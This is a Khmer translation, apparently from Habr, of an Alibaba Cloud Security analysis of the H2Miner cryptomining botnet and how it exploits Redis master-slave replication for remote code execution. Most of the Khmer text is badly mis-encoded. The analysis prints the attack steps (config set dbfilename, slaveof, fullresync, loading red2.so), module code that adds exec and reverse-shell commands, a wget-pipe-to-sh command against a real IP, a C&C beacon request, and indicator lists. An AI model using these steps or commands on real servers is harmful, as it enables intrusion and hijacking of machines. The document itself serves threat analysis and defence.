αα½αβααααβαα»α αααΆαααΈαβαααααΎβααααβααααααβααααβαααα»αβαα½αβααααΌαβααΆαβααΆααααα αΆαβαααβαααααΌαβααααααβααααΆα ααΎααααΈαααααααα ααααΎαα αααααααα½α "ααΎααΆααΆα’αααΈ?" αααα»αααΆαααααΎαα’αααααααα’ααα αΆααααα½αααααααα»α Alibaba Cloud Security α αααααΆααααα»ααααα·αααΎαα’αααααααααα ααΎ Habre αααα»αααΆααααααα α α·αααααααααααΆααΆαα·ααααααααΆααα’ααα <3
ααΆαα»
ααααΈαααα αααα»αααααα·αα»ααααα Alibaba Cloud ααΆαααααΎαααΆααααα»αα‘αΎαααααααα H2Miner ααααΆααα ααααααααααα½α Worm ααααΆααΆααααααααΎααΆαααααααΆαα’αα»ααααΆα α¬ααΆααααααααΆααααααααααααΆαα Redis ααΆα αααααααΌααα ααΆααααααααααααααα’ααα αααααΆααααααΆααααΎααααΆααααααααΌαα»αααααΆααΆαααααΆααααααααΆααΆαα½α slave ααΆααααααΆαααααΎααααΆααααααα - ααΆααα α αΎαααΈαααα»αααΆααααααΌαα»αααααΆααΆαααααα αααΆαααΈααααααΆαααΆααααα αΆα α αΎαααααΎαααΆαααααΆααΆαα ααΆαααααΆαα
ααΆαααΈαα»α ααΆαααΆααααα αΆαααΎααααααααααααα’αααααααΌαααΆαα’αα»ααααααΆα αααααααααααΎαα·ααΈααΆααααααααααΆαααααααααΉααα·α αα ααΆααααααΆααααααααα α¬ααααΆααα α»α SSH αααααααΌαααΆαααααααα ααΆαααααΆαααΈαααααα’ααα αααααΆααααΈα’αααααΆααααα αΆαα αΌααα αααα»α Redis α ααΆααααΆαααα’ αα·ααΈααΆαααααααααα·αα’αΆα ααααΎααΉαααΆααααΆααα αααααΆααααα αΆααΆαα½αααΆααααααααααααΆαα’αα»ααααΆα α¬αααααΆαααααααααααααααααααααααΆα ααααααΆαααΆααααα αα·ααΈααΆαααααααααΆααααα»ααααΌαα»αααααΆααΆααααα’αΆα ααααα·ααααα·αααααααΆααααΌαααΆααααααααΆααααα’αααααΆααααα αΆα α¬ααα½αααΆααα·αααα·α αΌαααααΎααα αααααΆαααααααααΆαααααααΆααααααααααααααα’αααα
αααααΆαααα ααα½αααα αααΎααααααΆαααΈααα Redis ααααααα αααα ααΎα’ααΈαααΊαα·α (αα·α 1 ααΆα) αααα»αααααα·αα»ααααα Alibaba Cloud ααΆααΆαααααΉααααα½αααΆαααΆααααΆαα ααααΆαααΆα’αααααααΎααααΆαααα·αα ααααααα Redis ααΎα’ααΈαααΊαα·α α αΎααα·αα·αααααΎαααΆαααααΆααααααΆααααααααΆαααααααα½αααα±ααααΆααααααΆαα αα·αααΆααΎαα½αααααααΌαααΆααααααααααα½ααααα¬ααα ααΆαααααΎαααΎααα ααα
H2 Miner
H2Miner ααΊααΆ botnet ααΈαααααααααααΆαααααααααααααααΆαααΌαααααΆαααΎααΈαα»α
αααα’αΆα
αα»ααα»αααααααααααααα’αααααΆααα·ααΈααΆα
αααΎα αα½αααΆααααΆαααααααΆαα’αα»ααααΆααα
αααα»αααΆαααΆαααααααα Hadoop yarn, Docker αα·α Redis remote command execution (RCE) α botnet ααααΎαααΆααααααΆαααΆαααααααααΈαααααΆααΆα αα·αααααα ααΎααααΈααΈααααα·ααααααααααα’ααα αααααΈαααΆαααΆααααα αΆααααααααα αα·ααααααΆααααΆαααααααααααΆ αα·αααααααααα (C&C)α
Redis RCE
α ααααααΉαααΎαααααΆααααααααααΌαααΆαα αααααααααα Pavel Toporkov αα ZeroNights 2018α αααααΆααααΈαααα 4.0 Redis ααΆαααααα»αααΆααααα»ααααααα·ααΈαααα½αααααααααα±ααα’αααααααΎααααΆααααΌααααααααΆααααα»αααΆααααα»α ααΌα ααααα―αααΆααααααΆαα αααααααΆαα½α C αα αααα»α Redis ααΎααααΈααααα·ααααα·ααΆααααααααΆ Redis ααΆααααΆααα αα»αααΆαααα αααααΈααΆαααααααααααααα ααα»ααααααΆαα ααα»α ααΆαααααααα ααααα αααα»ααααααα α―αααΆαα’αΆα ααααΌαααΆαααααΎααααΆαααααααΆαα½α slave ααΆαααααααα fullresync α ααΆα’αΆα ααααΌαααΆαααααΎαααα’αααααΆααααα αΆαααΎααααΈαααααα―αααΆααααααΆααααα·αα’αΆαααααα αααααΆααβααΈβααΆαβαααααβααααΌαβααΆαβαααα αα α’αααβααΆαβαααα αΆαβαααα»αβαααΌαα»αβαα βααΎβααααα» Redis αααβααΆαβααΆαβαααα αΆα α αΎαβααααα·ααααα·βααΆαααβαααααΆβααΆαα½αα
ααΆααα·ααΆααααααααααα
ααααΈαααα αααα»αααααα·αα»α Alibaba Cloud ααΆαααααΎαααΆ ααα ααααααα»αα’ααααα»αααααααααααΆαααααα H2Miner ααΆαααΎαα‘αΎααααΆαααααΆααααααΆααα αααααΆαααΆααα·ααΆα ααααΎαααΆαααΌαα ααααΆαααΎαα‘αΎαααααΆαααΆααααα αΆαααΆαααΌα ααΆααααααα
H2Miner ααααΎ RCE Redis αααααΆααααΆαααΆααααα αΆαααααααα α’αααααΆααααα αΆαααααΌαααΆααααα αΆααα
ααΎαααΆαααΈααα Redis ααααα·αααΆαααΆαααΆα α¬αααΆαααΈααααααααΆαααΆααααααααΆαααααααα
αααααΆαααααα½αααααααΎααΆααααααααΆ config set dbfilename red2.so
ααΎααααΈααααΆααααααΌααααααα―αααΆαα αααααΆααααΈααα α’αααααΆααααα αΆαααααα·ααααα·ααΆααααααααΆ slaveof
ααΎααααΈαααααα’αΆααααααΆααααΆαααΈαα
αααα master-slave α
αα αααα’αααααΆααααα αΆα Redis instance αααααΎαααΆαααααΆαα master-slave ααΆαα½α Redis ααααΆααΆα αααααΆαααααα·αααα·ααααα’αααααΆααααα αΆα α’αααααΆααααα αΆααααααΌααααΌαα»αααααααααααααΎααΆααααααααΆ fullresync ααΎααααΈααααΎααααΆαααααα―αααΆαα αααααΆααααα―αααΆα red2.so ααΉαααααΌαααΆαααΆααααα ααΆαααααΆαααΈααααααΆαααΆααααα αΆαα αααααΆααααα’αααααΆααααα αΆαααααΎ ./red2.so loading module ααΎααααΈαααα»αα―αααΆαααΌα ααααα αααΌαα»αα’αΆα ααααα·ααααα·ααΆααααααααΆααΈα’αααααΆααααα αΆα α¬αααα½α ααααΎαααΆααααααΆαααααα αααΆα (backdoor) ααΎααααΈααα½αααΆαααΆαα αΌααα ααΆαααααΆαααΈααααααΆαααΆααααα αΆαα
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
αααααΆααααΈααααα·ααααα·ααΆααααααααΆααααΆααΆαααΌα
ααΆ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
α’αααααΆααααα αΆαααΉαααααααααααα―αααΆαααααα»ααα»αα‘αΎααα·α α αΎαααααααα»ααααΌαα»ααααααααα ααΎααααΈαααα’αΆαααΆαα ααααααΆαααΆααααα α―αααΆα red2.so ααΉααα
ααααΆααα
ααΎαααΆαααΈααααααααΌαααΆαααΆααααα αΆαα α’αααβααααΎβααααΌαβααΆαβααααΆαβα±ααβααβα
α·αααβαα»αβααΆααβα
ααααβααααααΆαβααβα―αααΆαβαα½αβα±ααβααααααβαααβαααβαα
βαααα»αβααβααβα§ααΆα ααα Redis ααααβαα½αβααβα
ααααααααΈααΎααΆααααααΆααααααΎαααΆαααααΆααΆααα½αα
ααα½αααΎααααΈαα½α
ααααΆα α’αααααΆααααα αΆαααΆαααααΎααΆαααααααΈαααααΆααΆααααααΆαααΆααα αα·αααααΎαααΆαα―αααΆααααααΈαααααΆααΆααα
ααΆαα
αααααΆααααααααα·ααααααααααα αααΆα αααααααααΎαααΆαααΆα ααααααΌααα»αααΆαααΌα ααΆααααααα
- αααα»αα‘αΎαα―αααΆα αα·αααααΎαααΆααα½αααΆ
- ααα
- ααΆααααααΆααααΆαααααα C&C αα·αααααα·ααααα·ααΆααααααααΆα’αααααΆααααα αΆα
ααααΎαααΆααααααααααααΆααααΆααααααααΆααααα
ααΎααααΈαααααΈαα₯αααα·ααααααα’αααα ααΎαααΈαααααα α’αΆααααααΆα IP αααααααΆαααΈααα C&C ααααΌαααΆααααααααΌαααΉααα
αααα»ααααααα·ααΈ α αΎααααΆαααΈααααααααΌαααΆαααΆααααα αΆαααΉαααΆααααααΆαα½ααααΆαααΈαααααααΆαααααα C&C αααααααΎααααΎ HTTP αααααααααΆαααααα
αα
(αααΆαααΈααααααααααΌαααΆααααααααααα½α) ααααΌαααΆααααααα’ααααααααΆααα
αααα»αααααααΆ HTTP α
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
αα·ααΈααΆαααααααΆααααα αΆαααααααααα
α’αΆααααααΆα αα·ααααααααΆαααααααααΎααααααααΌα
/ ααΆα αααΆαα·
β’ 142.44.191.122/t.sh
β’ 185.92.74.42/h.sh
β’ 142.44.191.122/spr.sh
β’ 142.44.191.122/spre.sh
β’ 195.3.146.118/unk.sh
α&α
β’ 45.10.88.102
β’ 91.215.169.111
β’ 139.99.50.255
β’ 46.243.253.167
β’ 195.123.220.193
ααααααΆααααα½α
ααααΌα Redis αα·ααα½αα’αΆα
α
αΌαααααΎααΆαααΈα’ααΈαααΊαα·ααα α αΎααα½αααααααΌαααΆαααΆαααΆααααααΆααααααααΆααααααΆααα ααΆααααααΆααααααααααα’αα·αα·αααα·αα·αααααΎαααΆαα·αααΆαα―αααΆα red2.so αα
αααα»ααα Redis α αΎαααΆαα·αααΆα "kinsing" αα
αααα»ααααααα―αααΆα / ααααΎαααΆααα
ααΎαααΆαααΈααααααα
ααααα: www.habr.com